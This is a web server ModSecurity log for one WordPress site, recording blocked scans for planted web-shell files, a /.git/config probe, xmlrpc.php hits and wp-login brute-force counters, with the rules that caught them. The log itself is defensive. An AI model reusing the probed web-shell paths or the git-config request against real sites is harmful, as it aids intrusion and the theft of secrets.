[Mon Nov 17 20:01:46.512143 2025] [:error] [pid 39537:tid 39554] [client 103.186.31.45:55293] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aRsOqoZRrh1pcrdcLB-9QgAAAM4"]
[Mon Nov 17 20:01:46.769928 2025] [:error] [pid 31419:tid 31440] [client 103.186.31.45:55373] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aRsOqgHQ5Sbp7elmDZiYjQAAApM"]
[Mon Nov 17 20:01:47.027730 2025] [:error] [pid 31419:tid 31441] [client 103.186.31.45:55448] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aRsOqwHQ5Sbp7elmDZiYlgAAApQ"]
[Mon Nov 17 20:01:47.284924 2025] [:error] [pid 20913:tid 20921] [client 103.186.31.45:55534] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/blurbs.php"] [unique_id "aRsOq-kafGNeN3nY1bdbCwAAA0Y"]
[Mon Nov 17 20:01:47.572483 2025] [:error] [pid 31419:tid 31423] [client 103.186.31.45:55605] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/akcc.php"] [unique_id "aRsOqwHQ5Sbp7elmDZiYnQAAAoI"]
[Mon Nov 17 20:01:47.828593 2025] [:error] [pid 31419:tid 31435] [client 103.186.31.45:55680] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aRsOqwHQ5Sbp7elmDZiYoQAAAo4"]
[Mon Nov 17 20:01:48.076223 2025] [:error] [pid 32753:tid 32761] [client 103.186.31.45:55806] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shelp.php"] [unique_id "aRsOrE6YNqI5vkht922DBwAAA8U"]
[Mon Nov 17 20:01:48.332981 2025] [:error] [pid 32753:tid 32777] [client 103.186.31.45:55890] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/cord.php"] [unique_id "aRsOrE6YNqI5vkht922DDgAAA9U"]
[Mon Nov 17 20:01:48.596159 2025] [:error] [pid 39451:tid 39515] [client 103.186.31.45:55947] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aRsOrOfgkqXTS0SO3fAiiAAAAIc"]
[Mon Nov 17 20:01:48.868358 2025] [:error] [pid 39537:tid 39543] [client 103.186.31.45:56008] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRsOrIZRrh1pcrdcLB-9UwAAAMM"]
[Mon Nov 17 20:01:49.137972 2025] [:error] [pid 39451:tid 39508] [client 103.186.31.45:56055] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file2.php"] [unique_id "aRsOrefgkqXTS0SO3fAikgAAAIA"]
[Mon Nov 17 20:01:49.409546 2025] [:error] [pid 30801:tid 30823] [client 103.186.31.45:56108] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aRsOrTbGAU49DhMTBD7v5gAAAlQ"]
[Mon Nov 17 20:01:49.692491 2025] [:error] [pid 39537:tid 39549] [client 103.186.31.45:56167] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/zwso.php"] [unique_id "aRsOrYZRrh1pcrdcLB-9VgAAAMk"]
[Mon Nov 17 20:01:49.963938 2025] [:error] [pid 30801:tid 30807] [client 103.186.31.45:56216] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "aRsOrTbGAU49DhMTBD7v7QAAAkQ"]
[Mon Nov 17 20:01:50.225079 2025] [:error] [pid 39537:tid 39550] [client 103.186.31.45:56266] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "aRsOroZRrh1pcrdcLB-9XQAAAMo"]
[Mon Nov 17 20:01:50.496425 2025] [:error] [pid 30801:tid 30825] [client 103.186.31.45:56314] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shlo.php"] [unique_id "aRsOrjbGAU49DhMTBD7v7wAAAlY"]
[Mon Nov 17 20:01:50.757981 2025] [:error] [pid 40548:tid 40566] [client 103.186.31.45:56426] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/133.php"] [unique_id "aRsOrgM_PykfYnxh-j9sQQAAARA"]
[Mon Nov 17 20:01:51.016614 2025] [:error] [pid 39449:tid 39460] [client 103.186.31.45:56532] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aRsOr6UCymTA3MDfzLNbxQAAAAY"]
[Mon Nov 17 20:01:51.278023 2025] [:error] [pid 31419:tid 31421] [client 103.186.31.45:56681] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/php8.php"] [unique_id "aRsOrwHQ5Sbp7elmDZiYvwAAAoA"]
[Mon Nov 17 20:01:51.543020 2025] [:error] [pid 39451:tid 39531] [client 103.186.31.45:56893] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/lufix1.php"] [unique_id "aRsOr-fgkqXTS0SO3fAingAAAJc"]
[Mon Nov 17 20:01:51.796506 2025] [:error] [pid 32753:tid 32761] [client 103.186.31.45:56941] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/witmm.php"] [unique_id "aRsOr06YNqI5vkht922DJgAAA8U"]
[Mon Nov 17 20:01:52.060292 2025] [:error] [pid 39449:tid 39470] [client 103.186.31.45:57017] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/index.php"] [unique_id "aRsOsKUCymTA3MDfzLNbzQAAABA"]
[Mon Nov 17 20:01:52.323597 2025] [:error] [pid 39449:tid 39471] [client 103.186.31.45:57075] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/index.php"] [unique_id "aRsOsKUCymTA3MDfzLNb2QAAABE"]
[Mon Nov 17 20:01:52.571240 2025] [:error] [pid 20913:tid 20916] [client 103.186.31.45:57138] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/index.php"] [unique_id "aRsOsOkafGNeN3nY1bdbHgAAA0E"]
[Mon Nov 17 20:01:52.815815 2025] [:error] [pid 39449:tid 39465] [client 103.186.31.45:57188] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aRsOsKUCymTA3MDfzLNb7QAAAAs"]
[Mon Nov 17 20:01:53.073291 2025] [:error] [pid 39449:tid 39459] [client 103.186.31.45:57258] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aRsOsaUCymTA3MDfzLNb-QAAAAU"]
[Mon Nov 17 20:01:53.342851 2025] [:error] [pid 65302:tid 65328] [client 103.186.31.45:57325] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/files.php"] [unique_id "aRsOsQPMSx2v85r8y7wD0AAAAVg"]
[Mon Nov 17 20:01:53.615840 2025] [:error] [pid 32753:tid 32771] [client 103.186.31.45:57377] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-editor.php"] [unique_id "aRsOsU6YNqI5vkht922DSgAAA88"]
[Mon Nov 17 20:19:01.768078 2025] [:error] [pid 39537:tid 39555] [client 190.6.176.90:42780] [client 190.6.176.90] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.6.176.90, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsStYZRrh1pcrdcLB-_iQAAAM8"], referer: https://gigfragments.org
[Mon Nov 17 20:23:43.322126 2025] [:error] [pid 32753:tid 32761] [client 188.130.129.116:47549] [client 188.130.129.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.130.129.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRsTz06YNqI5vkht922JgwAAA8U"], referer: https://gigfragments.org/
[Mon Nov 17 20:23:45.631941 2025] [:error] [pid 32753:tid 32772] [client 188.130.129.116:39797] [client 188.130.129.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.130.129.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRsT0U6YNqI5vkht922JhwAAA9A"], referer: https://gigfragments.org/wp-login.php?action=register
[Mon Nov 17 20:27:51.564143 2025] [:error] [pid 40548:tid 40553] [client 34.100.191.26:59440] [client 34.100.191.26] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.100.191.26, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsUxwM_PykfYnxh-j9vzQAAAQM"], referer: https://gigfragments.org
[Mon Nov 17 20:29:35.104951 2025] [:error] [pid 65302:tid 65316] [client 196.245.159.220:35531] [client 196.245.159.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.245.159.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRsVLwPMSx2v85r8y7wH_QAAAUw"]
[Mon Nov 17 20:29:37.863815 2025] [:error] [pid 15888:tid 15911] [client 196.245.159.220:40803] [client 196.245.159.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.245.159.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRsVMQjAdDTBm4W3qW06qwAAAdQ"]
[Mon Nov 17 20:29:39.791078 2025] [:error] [pid 32753:tid 32770] [client 196.245.159.220:44767] [client 196.245.159.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 196.245.159.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRsVM06YNqI5vkht922LBQAAA84"], referer: https://gigfragments.org/wp-login.php
[Mon Nov 17 20:45:30.987326 2025] [:error] [pid 32753:tid 32771] [client 77.24.94.97:63309] [client 77.24.94.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.24.94.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsY6k6YNqI5vkht922OwAAAA88"], referer: https://gigfragments.org
[Mon Nov 17 20:54:21.516563 2025] [:error] [pid 30801:tid 30821] [client 120.25.168.36:56906] [client 120.25.168.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 120.25.168.36, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsa_TbGAU49DhMTBD73LgAAAlI"], referer: https://gigfragments.org
[Mon Nov 17 21:03:12.920143 2025] [:error] [pid 39451:tid 39519] [client 119.8.34.117:48218] [client 119.8.34.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 119.8.34.117, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsdEOfgkqXTS0SO3fAp6wAAAIs"], referer: https://gigfragments.org
[Mon Nov 17 21:07:49.429162 2025] [:error] [pid 32753:tid 32774] [client 8.133.253.244:47100] [client 8.133.253.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.133.253.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRseJU6YNqI5vkht922UlgAAA9I"], referer: https://gigfragments.org
[Mon Nov 17 21:16:44.968632 2025] [:error] [pid 39449:tid 39474] [client 146.83.7.1:57792] [client 146.83.7.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.83.7.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsgPKUCymTA3MDfzLNp0gAAABQ"], referer: https://gigfragments.org
[Mon Nov 17 21:25:32.229811 2025] [:error] [pid 15888:tid 15897] [client 167.172.41.47:21951] [client 167.172.41.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.41.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsiTAjAdDTBm4W3qW1AewAAAcY"], referer: https://gigfragments.org
[Mon Nov 17 21:47:37.187910 2025] [:error] [pid 15888:tid 15906] [client 145.239.93.122:51856] [client 145.239.93.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 145.239.93.122, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsneQjAdDTBm4W3qW1CgwAAAc8"], referer: https://gigfragments.org
[Mon Nov 17 21:52:16.475426 2025] [:error] [pid 15888:tid 15907] [client 51.57.73.118:12238] [client 51.57.73.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen/function.php"] [unique_id "aRsokAjAdDTBm4W3qW1C1QAAAdA"]
[Mon Nov 17 21:52:16.853205 2025] [:error] [pid 65302:tid 65310] [client 51.57.73.118:12229] [client 51.57.73.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen/function.php"] [unique_id "aRsokAPMSx2v85r8y7wSwwAAAUY"]
[Mon Nov 17 21:52:17.277132 2025] [:error] [pid 20913:tid 20927] [client 51.57.73.118:12179] [client 51.57.73.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen/function.php"] [unique_id "aRsokekafGNeN3nY1bdq2wAAA0w"]
[Mon Nov 17 21:52:17.620626 2025] [:error] [pid 15888:tid 15902] [client 51.57.73.118:12175] [client 51.57.73.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen/function.php"] [unique_id "aRsokQjAdDTBm4W3qW1C1gAAAcs"]
[Mon Nov 17 22:05:25.419769 2025] [:error] [pid 32753:tid 32770] [client 160.22.122.134:46024] [client 160.22.122.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.22.122.134, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsrpU6YNqI5vkht922hPgAAA84"], referer: https://gigfragments.org
[Mon Nov 17 22:14:16.994436 2025] [:error] [pid 30801:tid 30814] [client 128.199.165.198:38500] [client 128.199.165.198] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.165.198, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRstuDbGAU49DhMTBD4BHgAAAks"], referer: https://gigfragments.org
[Mon Nov 17 22:18:51.866385 2025] [:error] [pid 65302:tid 65320] [client 47.236.12.137:43944] [client 47.236.12.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.236.12.137, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsuywPMSx2v85r8y7wW9wAAAVA"], referer: https://gigfragments.org
[Mon Nov 17 22:27:49.669751 2025] [:error] [pid 15888:tid 15907] [client 81.88.53.97:46160] [client 81.88.53.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.88.53.97, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsw5QjAdDTBm4W3qW1HqgAAAdA"], referer: https://gigfragments.org
[Mon Nov 17 22:32:17.616477 2025] [:error] [pid 39537:tid 39544] [client 159.75.154.150:37894] [client 159.75.154.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.75.154.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRsx8YZRrh1pcrdcLB_PXQAAAMQ"], referer: https://gigfragments.org
[Mon Nov 17 22:36:48.874531 2025] [:error] [pid 39449:tid 39475] [client 51.255.71.164:44446] [client 51.255.71.164] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.255.71.164, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRszAKUCymTA3MDfzLN4bgAAABU"], referer: https://gigfragments.org
[Mon Nov 17 22:41:14.108430 2025] [:error] [pid 20913:tid 20917] [client 165.227.177.101:55596] [client 165.227.177.101] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.177.101, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRs0CukafGNeN3nY1bdyqwAAA0I"], referer: https://gigfragments.org
[Mon Nov 17 22:45:08.808018 2025] [:error] [pid 30801:tid 30803] [client 34.21.44.67:45616] [client 34.21.44.67] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aRs09DbGAU49DhMTBD4E_wAAAkA"]
[Mon Nov 17 22:51:44.259953 2025] [:error] [pid 65302:tid 65314] [client 82.156.9.158:60906] [client 82.156.9.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.156.9.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRs2gAPMSx2v85r8y7wbGwAAAUo"], referer: https://gigfragments.org
[Mon Nov 17 23:00:39.527525 2025] [:error] [pid 32753:tid 32768] [client 47.238.97.17:55874] [client 47.238.97.17] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.238.97.17, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aRs4l06YNqI5vkht922v-QAAA8w"], referer: https://gigfragments.org
